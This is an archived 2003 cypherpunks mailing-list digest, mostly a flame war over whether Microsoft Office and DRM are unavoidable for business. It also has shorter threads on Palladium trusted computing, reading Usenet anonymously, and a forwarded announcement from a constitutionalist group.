owns those documents anyway and they can do whatever the fuck they like
with them either way.   It doesn't matter to me at all -- it's their call,
it's their company, it's their documents.

But, for personal use, I won't buy any upgrades or new Microsoft
software.  End of story.

Either way, how much a revolt do you think there will be if Microsoft
decides to lock down their tools (such as word) to the point where they
can no longer export to HTML, plain text, RTF should the author wish 
it to do so and provides whatever passphrases or ID's needed to unlock
the document and export it out?

Who would buy such a dog of a product?  Do you think businesses are so
stupid that they'd put up with a product that jails them in?  Get real
son, you're howling at the moon!

On one hand you're bitching that you have to use Microsoft software on the
other you're complaining that I'm using it while I'm telling you I don't
want to and don't care to and won't upgrade to it.

You want to make a difference?  Go ahead, wipe every bit of Microsoft
wares off all your machines and burn the CD's you've installed them
from.  Go all open source and show others the right way.  At least I'd
have some respect for you for voting with your wallet and practicing what
you preach.

Right now all you're doing is bitching that you're forced to buy and use
Microsoft Office.  I say that's bullshit, and you know it.


----------------------Kaos-Keraunos-Kybernetos---------------------------
 + ^ + :25Kliters anthrax, 38K liters botulinum toxin, 500 tons of   /|\
  \|/  :sarin, mustard and VX gas, mobile bio-weapons labs, nukular /\|/\
<--*-->:weapons.. Reasons for war on Iraq - GWB 2003-01-28 speech.  \/|\/
  /|\  :Found to date: 0.  Cost of war: $800,000,000,000 USD.        \|/
 + v + :           The look on Sadam's face - priceless!       
--------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------

On Sat, 14 Jun 2003, Adam Shostack wrote:

> Sure.  And I'm glad you work with a small group of people who
> understand that you don't read their documents.  After many years of
> refusal, I finally gave up.  I work with lots of customers who expect
> documents in MS formats, and look at you askance for giving them
> anything else.  You only get so many explanations before customers go
> elsewhere, and I chose not to spend them on this.  Similarly, I could
> choose to speak to everyone I meet in, say, Russian.  And some folks
> would understand.  Others would walk away.  So, you can argue that
> you're effectively required to speak English to do business in North
> America.  I would argue that you're similarly required to use MS
> Office.
> 
> 
> You'll be part of the problem when Nogsuccob is apon us, because the
> documents you create won't be readable in OpenOffice, and Crossover
> won't run.
>
> 
> Office Nogsuccob will only interoperate with itself.  Companies will end
> up deploying it to interact with other versions, not for any real
> feature.
> 
> You don't like the word force, I suggest quitting all use of .DOC,
> .PPT, and .XLS formats.  Please educate the world on how much better
> the alternatives are.  Me, I'll pay my $200 to not bother today, and
> regret it tomorrow.
> 
> And by the way, do you have a driver's license, or other state-issued
> ID card?




From adam at homeport.org  Sat Jun 14 13:53:57 2003
From: adam at homeport.org (Adam Shostack)
Date: Sat, 14 Jun 2003 16:53:57 -0400
Subject: An attack on paypal --> secure UI for browsers
In-Reply-To: <Pine.BSO.4.21.0306141617360.1562-100000@anon7.arachelian.c
  om>
References: <20030614195356.GA92289@lightship.internal.homeport.org>
  <Pine.BSO.4.21.0306141617360.1562-100000@anon7.arachelian.com>
Message-ID: <20030614205356.GA92907@lightship.internal.homeport.org>

A charming naivete.

*Plonk*


On Sat, Jun 14, 2003 at 04:29:23PM -0400, Sunder wrote:
| Oh get over it.  There are other formats.  You ever heard of
| XML?  HTML? RTF?
| 
| If the day comes where MS Office DRM only works with MS Office DRM, how
| many people will switch to it?  If your company is willing to switch to
| it, then they'll give you a PC with it on it.  If they don't, then they
| can't expect you to interact with them via such formats and can't require
| you to do so.
|
| You sound like someone's holding a gun to your head and requiring you to
| have MS Office.
| 
| Either way, you can ask them to export to other document formats which you
| can read.  Even now Office will export to HTML for example which is
| readable by Mozilla and other browsers.
| 
| Microsoft is not the DMV.  You don't need to use their software.
| 
| And no, I will never be part of your problem because the documents I will
| create for non work use will be made with Open Office or will be plain
| text, html, or xml files.
| 
| If I'm required to use a DRM'ed Office for work, then fine, my company
| owns those documents anyway and they can do whatever the fuck they like
| with them either way.   It doesn't matter to me at all -- it's their call,
| it's their company, it's their documents.
| 
| But, for personal use, I won't buy any upgrades or new Microsoft
| software.  End of story.
| 
| Either way, how much a revolt do you think there will be if Microsoft
| decides to lock down their tools (such as word) to the point where they
| can no longer export to HTML, plain text, RTF should the author wish 
| it to do so and provides whatever passphrases or ID's needed to unlock
| the document and export it out?
| 
| Who would buy such a dog of a product?  Do you think businesses are so
| stupid that they'd put up with a product that jails them in?  Get real
| son, you're howling at the moon!
| 
| On one hand you're bitching that you have to use Microsoft software on the
| other you're complaining that I'm using it while I'm telling you I don't
| want to and don't care to and won't upgrade to it.
| 
| You want to make a difference?  Go ahead, wipe every bit of Microsoft
| wares off all your machines and burn the CD's you've installed them
| from.  Go all open source and show others the right way.  At least I'd
| have some respect for you for voting with your wallet and practicing what
| you preach.
| 
| Right now all you're doing is bitching that you're forced to buy and use
| Microsoft Office.  I say that's bullshit, and you know it.
| 
| 
| ----------------------Kaos-Keraunos-Kybernetos---------------------------
|  + ^ + :25Kliters anthrax, 38K liters botulinum toxin, 500 tons of   /|\
|   \|/  :sarin, mustard and VX gas, mobile bio-weapons labs, nukular /\|/\
| <--*-->:weapons.. Reasons for war on Iraq - GWB 2003-01-28 speech.  \/|\/
|   /|\  :Found to date: 0.  Cost of war: $800,000,000,000 USD.        \|/
|  + v + :           The look on Sadam's face - priceless!       
| --------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------
| 
| On Sat, 14 Jun 2003, Adam Shostack wrote:
| 
| > Sure.  And I'm glad you work with a small group of people who
| > understand that you don't read their documents.  After many years of
| > refusal, I finally gave up.  I work with lots of customers who expect
| > documents in MS formats, and look at you askance for giving them
| > anything else.  You only get so many explanations before customers go
| > elsewhere, and I chose not to spend them on this.  Similarly, I could
| > choose to speak to everyone I meet in, say, Russian.  And some folks
| > would understand.  Others would walk away.  So, you can argue that
| > you're effectively required to speak English to do business in North
| > America.  I would argue that you're similarly required to use MS
| > Office.
| > 
| > 
| > You'll be part of the problem when Nogsuccob is apon us, because the
| > documents you create won't be readable in OpenOffice, and Crossover
| > won't run.
| >
| > 
| > Office Nogsuccob will only interoperate with itself.  Companies will end
| > up deploying it to interact with other versions, not for any real
| > feature.
| > 
| > You don't like the word force, I suggest quitting all use of .DOC,
| > .PPT, and .XLS formats.  Please educate the world on how much better
| > the alternatives are.  Me, I'll pay my $200 to not bother today, and
| > regret it tomorrow.
| > 
| > And by the way, do you have a driver's license, or other state-issued
| > ID card?
| 

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume




From jal at jal.org  Sat Jun 14 15:40:56 2003
From: jal at jal.org (Jamie Lawrence)
Date: Sat, 14 Jun 2003 17:40:56 -0500
Subject: An attack on paypal --> secure UI for browsers
In-Reply-To: <Pine.BSO.4.21.0306141617360.1562-100000@anon7.arachelian.c
  om>
References: <20030614195356.GA92289@lightship.internal.homeport.org>
  <Pine.BSO.4.21.0306141617360.1562-100000@anon7.arachelian.com>
Message-ID: <20030614224056.GD15195@jal.clueinc.net>

On Sat, 14 Jun 2003, Sunder wrote:

> Oh get over it.  There are other formats.  You ever heard of
> XML?  HTML? RTF?

Yes, as a matter of fact. RTF is an MS format, BTW. They do change it
sometimes, breaking various attempts at interoperability. They don't do
it much; it seems like something they forget to break much of the time.

> If the day comes where MS Office DRM only works with MS Office DRM, how
> many people will switch to it?  If your company is willing to switch to
> it, then they'll give you a PC with it on it.  If they don't, then they
> can't expect you to interact with them via such formats and can't require
> you to do so.
> 
> You sound like someone's holding a gun to your head and requiring you to
> have MS Office.

No, there's no gun to anyone's head. However, as part of negotiating my 
current contract (I'm a partner in a small software development
company), we recieved lots of MS Word/Excel docs. When you're
negotiating new business, saying "erm, I don't do windows. Can you give
me something else" is a bit of a show stopper. By comparison, if you're
selling someone a car, are you going to stop them mid-sale and ask that
they please haggle in Euros? (And in case you're curious, our project 
is entirely open source driven.)

> Microsoft is not the DMV.  You don't need to use their software.

For that matter, one can drive without a license.

I see your distinction, however it is very difficult to do business
without MS software. I'm typing this on a Linux-running laptop, which is
my primary user-level machine, and in order to do business, have to run
Crossover. (And I do own my MS Office license.) All of my proposals are
written in plain text and sometimes, done in Postgres when I need
spreadsheet-like behavior. They have to be rendered in Word format for
client consumption. (Open source spreadsheets still suck, in my
opinion.)

> And no, I will never be part of your problem because the documents I will
> create for non work use will be made with Open Office or will be plain
> text, html, or xml files.

That's a rather fine point to put on it. There isn't much difference
between work and non-work for me. Rather, there is, but nonwork choices
directly impact my work choices.

You seem to offload a lot of your choices onto your company.

> If I'm required to use a DRM'ed Office for work, then fine, my company
> owns those documents anyway and they can do whatever the fuck they like
> with them either way.   It doesn't matter to me at all -- it's their call,
> it's their company, it's their documents.

Just workin' for the man, eh?

> Either way, how much a revolt do you think there will be if Microsoft
> decides to lock down their tools (such as word) to the point where they
> can no longer export to HTML, plain text, RTF should the author wish 
> it to do so and provides whatever passphrases or ID's needed to unlock
> the document and export it out?

Honestly, this is supposition, entirely unsupported by anything other
than my intuition about how companies I've worked for in the past 
behave. Feel free to ignore. 

I think they'll lap it up. Along with expensive and annoying licensing
terms, companies get no-forward emails and expiring spreadsheets. Think
about what Enron would have done with that. Hell, I suspect MS
probably evaluated what they did wrong in the antitrust trial in order
to avoid similar outcomes in the future. There's a market there.
 
> Who would buy such a dog of a product?  Do you think businesses are so
> stupid that they'd put up with a product that jails them in?  Get real
> son, you're howling at the moon!

Um. Who owns the market in "desktop productivity software"?

> You want to make a difference?  Go ahead, wipe every bit of Microsoft
> wares off all your machines and burn the CD's you've installed them
> from.  Go all open source and show others the right way.  At least I'd
> have some respect for you for voting with your wallet and practicing what
> you preach.
> 
> Right now all you're doing is bitching that you're forced to buy and use
> Microsoft Office.  I say that's bullshit, and you know it.


I use MS software for interoperability testing (much like I use
Quickbooks, some Oracle wares, etc.), and for client communication.
Everything else in my company is open source. Everything we deploy is
open source, unless the client asks for something else. They typically
pay for that choice, not only because I'm frequently not familiar with
the software they choose, but also because it's a bitch to work with
(anyone else ever have to deal with Adobe Distiller under unix?)

It isn't bullshit that to operate as a business entity, one needs MS
software. I can certainly dick around with my personal website and write
my memoirs without it, and 98% of what I do for a living is MS free,
getting business without it (read aloud as "public interfaces")
is nearly impossible. Perhaps you can ignore that, becuase you're just
working for the man, and it isn't your fault that you write MS Word
docs.

DRM is going to be another cost. I'll have to have a real MS box on
hand again, and the problem will be how it worms in to other parts of
the business, diverting me from my favored platform.

You can say you're not forced to use it. You're also not forced to
do anything but swear at other people in public.

-j



-- 
Jamie Lawrence                                        jal at jal.org
"In my little way, I'm sneakily helping people understand a bit more
about the sort of people God likes."
   - Larry Wall.




From hseaver at cybershamanix.com  Sat Jun 14 16:25:35 2003
From: hseaver at cybershamanix.com (Harmon Seaver)
Date: Sat, 14 Jun 2003 18:25:35 -0500
Subject: An attack on paypal --> secure UI for browsers
In-Reply-To: <20030614224056.GD15195@jal.clueinc.net>
References: <20030614195356.GA92289@lightship.internal.homeport.org>
  <Pine.BSO.4.21.0306141617360.1562-100000@anon7.arachelian.com>
  <20030614224056.GD15195@jal.clueinc.net>
Message-ID: <20030614232535.GA1287@cybershamanix.com>

On Sat, Jun 14, 2003 at 05:40:56PM -0500, Jamie Lawrence wrote:
> No, there's no gun to anyone's head. However, as part of negotiating my 
> current contract (I'm a partner in a small software development
> company), we recieved lots of MS Word/Excel docs. When you're
> negotiating new business, saying "erm, I don't do windows. Can you give

   I sure don't have any problems with word or excel docs. Ever heard of
OpenOffice? I send people doc and xls files all the time, nobody's complained
yet. 

-- 
Harmon Seaver	
CyberShamanix
http://www.cybershamanix.com




From daw at mozart.cs.berkeley.edu  Sat Jun 14 11:50:49 2003
From: daw at mozart.cs.berkeley.edu (David Wagner)
Date: 14 Jun 2003 18:50:49 GMT
Subject: An attack on paypal --> secure UI for browsers
References: <Pine.GSU.4.44.0306130602090.25172-100000@eskimo.com>
  <1055523011.16502.29.camel@lorien>
Message-ID: <bcfqq9$r1s$1@abraham.cs.berkeley.edu>

Adam Lydick  wrote:
>The faq (see attached) claims that "anyone can write a nexus" and that
>"users control which nexus(s) run".
>
>I certainly didn't see anything that suggests that anyone can force you
>to run arbitrary code, regardless of who has signed it.

"Force", maybe not.  No one can "force" me to turn my machine on,
for instance.  But take a look at one line you quoted from the FAQ:

    "Only one nexus at a time will be able to run on a machine."

That looks to me like an important sentence.




From jal at jal.org  Sat Jun 14 17:14:41 2003
From: jal at jal.org (Jamie Lawrence)
Date: Sat, 14 Jun 2003 19:14:41 -0500
Subject: MS Format Flames Re: An attack on paypal --> secure UI for
  browsers
In-Reply-To: <5.1.1.6.2.20030614151220.02ec8e90@idiom.com>
References: <Pine.BSO.4.21.0306141617360.1562-100000@anon7.arachelian.co
  m> <20030614195356.GA92289@lightship.internal.homeport.org>
  <Pine.BSO.4.21.0306141617360.1562-100000@anon7.arachelian.com>
  <5.1.1.6.2.20030614151220.02ec8e90@idiom.com>
Message-ID: <20030615001441.GE15195@jal.clueinc.net>

On Sat, 14 Jun 2003, Bill Stewart wrote:

> If you want to give them something quasi-immutable,
> there's always PDF.  That lets you be rude _and_ proprietary :-)

Doesn't have to be proprietary. One of our pseudo-products is a PDF
generator built out of open source tools. Of course, most folks will
read it in Acrobat, but it works fine with xpdf, too.
 
> Microsoft does make free readers for Word and Powerpoint.
> They're only intended for running on Windows,
> but perhaps they work on WINE?

They do run under Wine. The occasional glitch, of course.

-j


-- 
Jamie Lawrence                                        jal at jal.org
"The more corrupt the state, the more numerous the laws"
   - Tacitus




From jal at jal.org  Sat Jun 14 17:45:31 2003
From: jal at jal.org (Jamie Lawrence)
Date: Sat, 14 Jun 2003 19:45:31 -0500
Subject: An attack on paypal --> secure UI for browsers
In-Reply-To: <20030614232535.GA1287@cybershamanix.com>
References: <20030614195356.GA92289@lightship.internal.homeport.org>
  <Pine.BSO.4.21.0306141617360.1562-100000@anon7.arachelian.com>
  <20030614224056.GD15195@jal.clueinc.net>
  <20030614232535.GA1287@cybershamanix.com>
Message-ID: <20030615004531.GH15195@jal.clueinc.net>

On Sat, 14 Jun 2003, Harmon Seaver wrote:

>    I sure don't have any problems with word or excel docs. Ever heard of
> OpenOffice? I send people doc and xls files all the time, nobody's complained
> yet. 

Why, yes, as a matter of fact, I have heard of it. I'd even use it for
more than attempting to read .docs, if I didn't find vim to be superior
for just about everything I do with text.

OO even parses some documents well, most of the time. Which is of course
not good enough.

When you're dealing with folks that edit, re-edit, pass around, turn on
revision tracking, fast save, pass the document around some more, turn
off revision tracking, and then email you the file, It chokes. Hard.

As Bill said, input formats are not output formats.

-j

-- 
Jamie Lawrence                                        jal at jal.org
"The sign that points to Boston doesn't have to go there."
   - Max Scheler




From adam at homeport.org  Sat Jun 14 16:52:21 2003
From: adam at homeport.org (Adam Shostack)
Date: Sat, 14 Jun 2003 19:52:21 -0400
Subject: An attack on paypal --> secure UI for browsers
In-Reply-To: <20030614232535.GA1287@cybershamanix.com>
References: <20030614195356.GA92289@lightship.internal.homeport.org>
  <Pine.BSO.4.21.0306141617360.1562-100000@anon7.arachelian.com>
  <20030614224056.GD15195@jal.clueinc.net>
  <20030614232535.GA1287@cybershamanix.com>
Message-ID: <20030614235221.GA94475@lightship.internal.homeport.org>

On Sat, Jun 14, 2003 at 06:25:35PM -0500, Harmon Seaver wrote:
| On Sat, Jun 14, 2003 at 05:40:56PM -0500, Jamie Lawrence wrote:
| > No, there's no gun to anyone's head. However, as part of negotiating my 
| > current contract (I'm a partner in a small software development
| > company), we recieved lots of MS Word/Excel docs. When you're
| > negotiating new business, saying "erm, I don't do windows. Can you give
| 
|    I sure don't have any problems with word or excel docs. Ever heard of
| OpenOffice? I send people doc and xls files all the time, nobody's complained
| yet. 

Openoffice doesn't yet handle tables, or other complex document bits
very well.  It also can't create powerpoint files well.  Its great if
what you need is either simple, or read-mostly.  50 page documents
with embedded spreadsheets, not there yet.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume




From kelsey.j at ix.netcom.com  Sun Jun 15 08:23:27 2003
From: kelsey.j at ix.netcom.com (John Kelsey)
Date: Sun, 15 Jun 2003 11:23:27 -0400
Subject: An attack on paypal --> secure UI for browsers
In-Reply-To: <Pine.BSO.4.21.0306141617360.1562-100000@anon7.arachelian.c
  om>
References: <20030614195356.GA92289@lightship.internal.homeport.org>
Message-ID: <5.2.0.9.0.20030615102422.04569ec0@pop.ix.netcom.com>

At 04:29 PM 6/14/03 -0400, Sunder wrote:
...
>If the day comes where MS Office DRM only works with MS Office DRM, how
>many people will switch to it?  If your company is willing to switch to
>it, then they'll give you a PC with it on it.  If they don't, then they
>can't expect you to interact with them via such formats and can't require
>you to do so.

So, have you ever tried doing substantial revisions on a large document 
that's going back and forth between two or more versions of Word?  It's in 
MS' interest to get everyone using the same version, so it's not really in 
their interest to spend great amounts of time debugging their version 
translation functions.  It shows.

If you need to coordinate working on a big Word document with several other 
people (e.g., clients or coworkers who are most comfortable with Word), you 
pretty-much will need to use not just Word, but the same version of 
Word.  That doesn't need any secure hardware to enforce, just buggy 
software.  You can sometimes work around this, but it's a pain to do.

>You sound like someone's holding a gun to your head and requiring you to
>have MS Office.

Well, let's distinguish between:

a.  The sort of network monopoly situation Microsoft is in, where the world 
has more-or-less settled on a bunch of their products, and so they can do a 
lot of irritating things before they actually lose their dominant market 
position.  (Note that this doesn't mean they are unassailable; Word Perfect 
and Lotus -123 were once in similarly dominant positions.)

b.  Eventual laws requiring that every new computer contain a secure 
processing unit to enforce the dictates of the government, the record 
companies, or whomever else on your computers.

I think a lot of the objection to TCPA is the worry that it will be 
mandated eventually, and that it will then be used to cement the network 
monopoly held by MS forever.  And Vinge's description of "ubiquitous 
governance" comes to mind here--whether it's MS or the US federal 
government or the UN or the Catholic Church, if someone can put themselves 
in control of all computer equipment you own in some secure way, they look 
a heck of a lot like the government.

>Either way, you can ask them to export to other document formats which you
>can read.  Even now Office will export to HTML for example which is
>readable by Mozilla and other browsers.

Sure.  Or you can often translate their documents, or open them with 
OpenOffice.  I do this when I just need to read and comment on a Word 
document.  But if you are going to be revising and sending back the 
document a few times, this will not work--you will lose some formatting, 
you will probably introduce weird formatting bugs, you may mess up the file 
format, etc.  It's just not worth the pain.  Though I have a legitimate 
copy of Word on my machine, when given a choice, I always do everything in 
ASCII text until the very end, and then paste the text into Word and do 
formatting last.  But again, this isn't too helpful if it's a document I'm 
working on with someone else.
...
>Either way, how much a revolt do you think there will be if Microsoft
>decides to lock down their tools (such as word) to the point where they
>can no longer export to HTML, plain text, RTF should the author wish
>it to do so and provides whatever passphrases or ID's needed to unlock
>the document and export it out?

>Who would buy such a dog of a product?  Do you think businesses are so
>stupid that they'd put up with a product that jails them in?  Get real
>son, you're howling at the moon!

Mainframe customers used to put up with this kind of treatment routinely, 
so it's not impossible.  Whether it will fly these days is an interesting 
question, but I don't think the answer is obvious.  Someone might ask the 
same rhetorical question about whether customers would sit still for buggy, 
insecure software.  But nobody would ask that question these days, as the 
answer is so painfully obvious.
...

--John Kelsey, kelsey.j at ix.netcom.com
PGP: FA48 3237 9AD5 30AC EEDD  BBC8 2A80 6948 4CAA F259




From nobody at cryptofortress.com  Sun Jun 15 13:36:44 2003
From: nobody at cryptofortress.com (Anonymous)
Date: Sun, 15 Jun 2003 15:36:44 -0500 (CDT)
Subject: An attack on paypal --> secure UI for browsers
Message-ID: <1a1afd9d8b4d540b2edf102cb2cab48d@remailer.cryptofortress.com>

David Wagner wrote:
> But take a look at one line you quoted from the FAQ:
> 
>     "Only one nexus at a time will be able to run on a machine."
> 
> That looks to me like an important sentence.

The Nexus is like a mini-OS for the trusted side of the machine.  It acts
as a kernel to manage the "trusted applications", the Nexus Computing
Agents or NCAs.

So what this sentence is really saying is that only one (trusted) OS
will be able to run at a time on a machine.  That's not that surprising
or significant.  Most machines only run one OS at a time.  Sure, with
virtualization and similar techniques you can manage to run more than
one OS at once, but that's unusual.  Probably 99.9% of machines are only
running one OS at a time.

Virtualization is not an option with trusted computing because part of
the point is to be able to offer assurance to remote users about what
the machine will do (i.e. its behavior is predictable, hence trusted).
This implies that it only makes sense to run one trusted OS at a time.
That's probably all the "important" sentence above means.


Adam Lydick wrote:

> That is certainly a good point but don't confuse the "nexus" with NCAs
> (agents). I think the nexus just provides services to the NCAs which
> actually do the work. Think of it as a core library that services can
> draw on.

Right, plus it schedules, loads them, etc, like an OS kernel.  Here is
a simplified form of a diagram they use.  The left hand side is the
legacy mode, with normal Windows applications and OS.  The right hand
side is the new trusted mode, with NCAs as the applications and Nexus
as the OS.

       Normal Mode                  Trusted Mode
+---------------------------++------------------------+
|                           ||                        |
|       Applications        ||        NCAs            |  USER
|                           ||                        |
|---------------------------++------------------------|
|                           ||                        |
|     Main Windows OS       ||       Nexus            |  KERNEL
|                           ||                        |
+---------------------------++------------------------+


> So having to trust the nexus, is rather like trusting kernel32.dll or
> some other core components. Choosing to trust/run NCA sounds pretty
> grainular, so you can trust your validated P2P stack from your favorite
> independent developer and ignore (if you can) the restrictive DRM
> solutions that are offered.

Yes, it sounds like it will work exactly like that.  Plus, hopefully
it will be possible for Linux to create its own Nexus ("Linexus"?) that
uses the same hardware features to provide TC capabilities for that OS.
Recall that Linus Torvalds recently adopted the position that DRM was
an acceptable technology for Linux, even when it involved being built
into the kernel.  Since DRM is the main downside to TC for many people,
and TC has many more good aspects beyond DRM, it is a near certainty
that Linux will add support for Trusted Computing.

> Problems certainly remain though:
>
> In the validated P2P scenario, an Adversary with enough influence to
> have Intel/AMD/... hand out a signed internal key can circumvent any
> such "protections".

Right, he could watch all the Disney movies he wanted, without paying
for them!  Mwaa haa haa!  Foolish humans!

But seriously, these systems can only raise the cost of security.
Neither cypherpunks nor Sony should risk their collective lives that no
one will break Palladium, by hook or by crook.




From comesefosse at ntani.firenze.linux.it  Sun Jun 15 07:52:19 2003
From: comesefosse at ntani.firenze.linux.it (Tarapia Tapioco)
Date: Sun, 15 Jun 2003 16:52:19 +0200 (CEST)
Subject: phreq?
Message-ID: <f602a4729dadfccf173751fe9445f992@firenze.linux.it>

   What frequencies do the lea snoop devices run on? Is there a good
site for info on such devices?




From cpunk at lne.com  Sun Jun 15 20:00:00 2003
From: cpunk at lne.com (cpunk at lne.com)
Date: Sun, 15 Jun 2003 20:00:00 -0700
Subject: Cypherpunks List Info
Message-ID: <200306160300.h5G300UW001719@gw.lne.com>

Cypherpunks Mailing List Information

Last updated: Sep 12, 2002

This message is also available at http://www.lne.com/cpunk

Instructions on unsubscribing from the list can be found below.


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From measl at mfn.org  Sun Jun 15 18:21:50 2003
From: measl at mfn.org (J.A. Terranson)
Date: Sun, 15 Jun 2003 20:21:50 -0500 (CDT)
Subject: [We The People] WTP Congress Internet System Takes Wing (fwd)
Message-ID: <Pine.BSF.4.21.0306152021060.27417-100000@greeves.mfn.org>

Interesting if it's kept up.  Just think, Tim will be able to find out the
next meeting at which Someone Will Need Killing :-)

-- 
Yours, 
J.A. Terranson
sysadmin at mfn.org




---------- Forwarded message ----------
Date: Sun, 15 Jun 2003 13:23:03 -0500
From: "Bob Schulz (DO NOT REPLY - Unmonitored Mailbox)"
    <LMM-1-114-50433 at givemeliberty.org>
To: measl at mfn.org
Subject: [We The People] WTP Congress Internet System Takes Wing

  	
 	 <http://givemeliberty.org/aboutus.htm>
<http://givemeliberty.org/projects.htm> 	 
 <mailto:info at givemeliberty.org> 	 
 	 
6-14-03

WTP Congress Internet System Takes Wing

WTP Web Pages For Every 
State and County Across America
 

Institutionalizing Vigilance: It's Underway
 


Today, the We The People Congress unveiled its network of county and
state Web Pages - one for each of the 3141 counties and 50 states in
America. 

Soon, anyone, anywhere in the world, will be able to go to any county or
state WTP Web Page and find out when and where the regular local meeting
is held, what's on the next agenda, the contact information for the
local WTP management team, which local companies have stopped
withholding, the date and time of regular conference calls, the details
about upcoming special events, what the local, state and federal
governments are doing that is unconstitutional and what the local people
are doing about it, upcoming appearances in the region by people of
interest, special projects requiring volunteers, the construction
schedule for that state's Citizen Vigilance Center, and much more. 

"Think about it," said Bob Schulz. "Soon, more than 3141meetings will be
taking place on the same evening of every month, all across the country.
They will be working on the same solution to the same governmental
problem, often engaged in the same interactive teleconference, watching
and listening to the same speaker, working together to hold local, state
and federal government accountable to the state and federal
constitutions. And, in a planned and organized way, they will be
distributing information to their communities about the essential
principles underlying our system of governance -- information,
unfortunately, that the People are not getting from anywhere else these
days." 

The web pages can also feature local businesses that are either owned by
local constitutionalists  or that offer discounts to WTP Congress
members. Significant future enhancements are already being developed. 

This is a strategic move aimed at directly empowering the People to
restore the Constitution through enhanced communications and coordinated
forward planning.  Now that this system has been deployed, the WTP
Congress management team will be able to quickly take advantage of these
integrated communications functions and begin to fully execute the
mission and organized activities of the WTP Congress. 

All local and state WTP Coordinators will have access to their own WTP
web page, enabling them to post local news stories and meeting agenda
items. WTP Coordinators need only "sign in" to the WTP web site to
upload these items through a simple fill-in-the-blank user interface.
All web page formatting is done by the system. 

To see the new WTP Congress Web Pages and to see sample "news", local
content and experience some of the potential of this system, click here
<https://givemeliberty.org/user/congress/map.aspx>  , then select the
state of California, select the county of San Mateo and click on the
News, Events & Resources link. 

All county and state coordinators are now asked to begin entering the
localized information required for their WTP Congress Web Page. To do
this they need to click on the "My WTP" link at the top of the main WTP
home page <http://givemeliberty.org/default.htm> , sign in (if
necessary) and select the "Edit WTP Congress Web Pages" option that
appears.  A "Help" file and a statement of "Use Policy" statement are
available and should be read by the WTP Coordinators.    

We urge everyone that has been considering becoming a WTP Coordinator to
"step up to the plate" and get involved. Now is the time for all good
men and women to come to the aid of their country. The continuing
deployment of extensive internet based WTP communications tools coupled
with the professional management of the WTP Congress and the execution
of a nationwide strategic plan is about to make things very exciting.  

"It's a new day," said Bob Schulz. " All across America we have always
had people who knew when government was doing something it had no
authority to do - who knew the truth - but they were isolated and felt
disenfranchised because they didn't have anyone to turn to that was
interested in confronting unconstitutional behavior by those wielding
governmental power. The WTP Congress is changing all that. It's an
organization that will soon have a presence in every community and where
those People who are concerned about 'republicanism' and the health of
our Constitutional Republic will feel at home - and be empowered through
numbers." 

After the new DC national office of WTP opens on June 30, the new
Executive Director of the WTP Congress, Devvy Kidd, will contact all the
WTP Coordinators and begin to initiate tactical aspects of a nationwide,
integrated strategic plan closely coordinating with the WTP Foundation
and the WTP Legal Defense Association.  

Remember - as important as this development regarding the Congress web
page system is, the BIG story for WTP is just days away. . . Stay tuned.
. .  

And finally, you will notice the image of Thomas Jefferson's home
(Monticello) that appears on each WTP Congress Web Page.  As a symbol of
the inspiration and defense of liberty undertaken by Jefferson and
others, the icon of the Virginia home built by Jefferson will play
prominently in the future landscape of the WTP Congress and in each
capital city in America. 

Bob Schulz intends to see the construction of a Monticello-like building
in every state capital to establish a physical, visible, public presence
from where the emerging "institution of vigilance" will operate and
exercise the inherent authority of We The People in the defense of both
the Constitution and our freedom. Eventually, when the People see those
buildings, they will instinctively know that this is where the People
are watching the government. 

"The federal Congress is an institution. The Presidency is an
institution. The Judiciary is an institution. We will make 'vigilance'
an institution," said Bob. 

It's starting to happen.  Join
<https://givemeliberty.org/user/congress/join.aspx> . Support
<http://givemeliberty.org/donations/donate-join.htm> . Stay well and
stay vigilant!  




From marshall at idio.com  Sun Jun 15 21:29:06 2003
From: marshall at idio.com (Marshall Clow)
Date: Sun, 15 Jun 2003 21:29:06 -0700
Subject: anon news
In-Reply-To: <426102557b9e5947e6d5cb260c67cfab@dizum.com>
References: <426102557b9e5947e6d5cb260c67cfab@dizum.com>
Message-ID: <p0600140bbb12f7e4a453@[192.168.16.235]>

Nomen Nescio <nobody at dizum.com> wrote:
>    Is there some way to read usenet anon, not with google, but with a linux
>news reader like tin? I'm sure I can use google with JAP fairly securely,
>but google's pretty slow.

Sure.
Run your own news server.
Don't keep logs.
-- 
-- Marshall

Marshall Clow     Idio Software   <mailto:marshall at idio.com>
Hey! Who messed with my anti-paranoia shot?




From nobody at dizum.com  Sun Jun 15 17:50:03 2003
From: nobody at dizum.com (Nomen Nescio)
Date: Mon, 16 Jun 2003 02:50:03 +0200 (CEST)
Subject: anon news
Message-ID: <426102557b9e5947e6d5cb260c67cfab@dizum.com>

   Is there some way to read usenet anon, not with google, but with a linux 
news reader like tin? I'm sure I can use google with JAP fairly securely, 
but google's pretty slow.  




From mv at cdc.gov  Mon Jun 16 07:59:38 2003
From: mv at cdc.gov (Major Variola (ret.))
Date: Mon, 16 Jun 2003 07:59:38 -0700
Subject: [Brinworld] Car's data recorder convicts driver
Message-ID: <3EEDDB59.941E6BE3@cdc.gov>

(ok, from slashdot..)
http://www.newhouse.com/archive/jensen061203.html




From sunder at sunder.net  Mon Jun 16 06:23:29 2003
From: sunder at sunder.net (Sunder)
Date: Mon, 16 Jun 2003 09:23:29 -0400 (edt)
Subject: phreq?
In-Reply-To: <f602a4729dadfccf173751fe9445f992@firenze.linux.it>
Message-ID: <Pine.BSO.4.21.0306160923140.27883-100000@anon7.arachelian.com>

666Ghz?

----------------------Kaos-Keraunos-Kybernetos---------------------------
 + ^ + :25Kliters anthrax, 38K liters botulinum toxin, 500 tons of   /|\
  \|/  :sarin, mustard and VX gas, mobile bio-weapons labs, nukular /\|/\
<--*-->:weapons.. Reasons for war on Iraq - GWB 2003-01-28 speech.  \/|\/
  /|\  :Found to date: 0.  Cost of war: $800,000,000,000 USD.        \|/
 + v + :           The look on Sadam's face - priceless!       
--------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------

On Sun, 15 Jun 2003, Tarapia Tapioco wrote:

>    What frequencies do the lea snoop devices run on? Is there a good
> site for info on such devices?




From mv at cdc.gov  Mon Jun 16 10:26:22 2003
From: mv at cdc.gov (Major Variola (ret))
Date: Mon, 16 Jun 2003 10:26:22 -0700
Subject: [Brinworld] Car's data recorder convicts driver
Message-ID: <3EEDFDBE.EA4455F5@cdc.gov>

At 11:16 AM 6/16/03 -0500, Shawn K. Quinn wrote:
>On Monday June 16 2003 09:59, Major Variola (ret.) wrote:
